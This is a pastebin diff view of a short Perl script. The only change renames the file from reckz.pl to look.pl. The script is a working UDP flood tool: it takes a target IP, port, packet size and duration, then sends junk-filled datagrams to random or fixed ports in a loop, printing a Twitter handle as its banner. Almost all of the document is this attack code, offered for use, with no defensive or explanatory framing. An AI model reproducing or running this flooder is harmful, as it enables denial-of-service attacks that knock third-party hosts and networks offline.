SHOW:
|
|
- or go back to the newest paste.
1 | - | [Save file as reckz.pl, Put it in Perl/Bin] |
1 | + | [Save file as look.pl, Put it in Perl/Bin] |
2 | ||
3 | #!/usr/bin/perl START SCRIPT | |
4 | ||
5 | use Socket; | |
6 | use strict; | |
7 | ||
8 | if ($#ARGV != 3) { | |
9 | print "reckz.pl <ip> <port> <size> <time>\n\n"; | |
10 | print " port=0: use random ports\n"; | |
11 | print " size=0: use random size between 64 and 1024\n"; | |
12 | print " time=0: continuous flood\n"; | |
13 | exit(1); | |
14 | } | |
15 | ||
16 | my ($ip,$port,$size,$time) = @ARGV; | |
17 | ||
18 | my ($iaddr,$endtime,$psize,$pport); | |
19 | ||
20 | $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n"; | |
21 | $endtime = time() + ($time ? $time : 1000000); | |
22 | ||
23 | socket(flood, PF_INET, SOCK_DGRAM, 17); | |
24 | ||
25 | ||
26 | print "twitter.com/lookplays1 - Flooding $ip " . ($port ? $port : "random") . " port with " . | |
27 | ($size ? "$size-byte" : "random size") . " packets" . | |
28 | ($time ? " for $time seconds" : "") . "\n"; | |
29 | print "Break with Ctrl-C\n" unless $time; | |
30 | ||
31 | for (;time() <= $endtime;) { | |
32 | $psize = $size ? $size : int(rand(1024-64)+64) ; | |
33 | $pport = $port ? $port : int(rand(65500))+1; | |
34 | ||
35 | send(flood, pack("a$psize","saf3e368wumu7repa4uxa2rucHaphubeGamu9R3373af8Us3eTHUgepRAfAS2c6CHAyegURepUbre94wRAwruS2uhU8UXasp7spasw7sw8h7wapr5spabekumu8ast8StRadusASacu6a6e5efrAzeWucH5cumuswaraca7hAbrewrecujetrafefadrawruW4ayAjU37sPUseBr4cRuPhacrUtrf0azrrQlLd1xdSjjtdwXfjyXArkExrVxVlulxssmr0u0lRscLAqjkZB43ajPRmAH4JQ6T1SOZPFmndbEi4IUOIuUmPCXI044f73uGIeJHs8lh36KpJausXqykL2idPx1j120Rra2DI1kmGgde5LI4TJMuQvrotBR3Fli0g1uwt74ALKfRzHYZJR0wkqNncUY178LcbTFtx5n7MF4zX3P4Z3mUVkAebkXqDv6EETKTNBes9kW2QBEBLeKcBH4cUAQ8Y30mdGozVRNJq3wtDMmgtzCibqXEEp3cZATTOMqIDxn3t5HYdspEofPneXpPTUE0TBN8oRAp4DjSlhfDAVmfNgbdSbTHWT7Y7gVi6kgrNXKCM64V4kOGvesVr0SZU3k83r6qAr3w4d26kurU9eBRa53cEtRaQaCHEvacu4PETRaf3yepHAk9FAgU2at8GEMEZAwUjaDesTufu2r3DaPhedR7quCru7reketc8atacAStuGeFruNuTHaWuspabr6drARa4r4cApRewuFRaD3qAXAsPeMAChudRUWxuq73R5dra8epre4tasp8craq677wru5asuq3tradede8rethuSwAfespastuduypUt2fudra5utanewrat83rucruyuje6aphuprUWawrawr4tha922HeSpU8acacu5hastuprecevasteberepagas6ejuje2heswugukerebrajeVeswerajAdagecah3phE9EsutaFrU6erathu2u6utraseCrEjehaChuphEchepeswutrezu86pret6afa"), 0, pack_sockaddr_in($pport, $iaddr));} | |
36 | ||
37 | #!/usr/bin/perl END SCRIPT |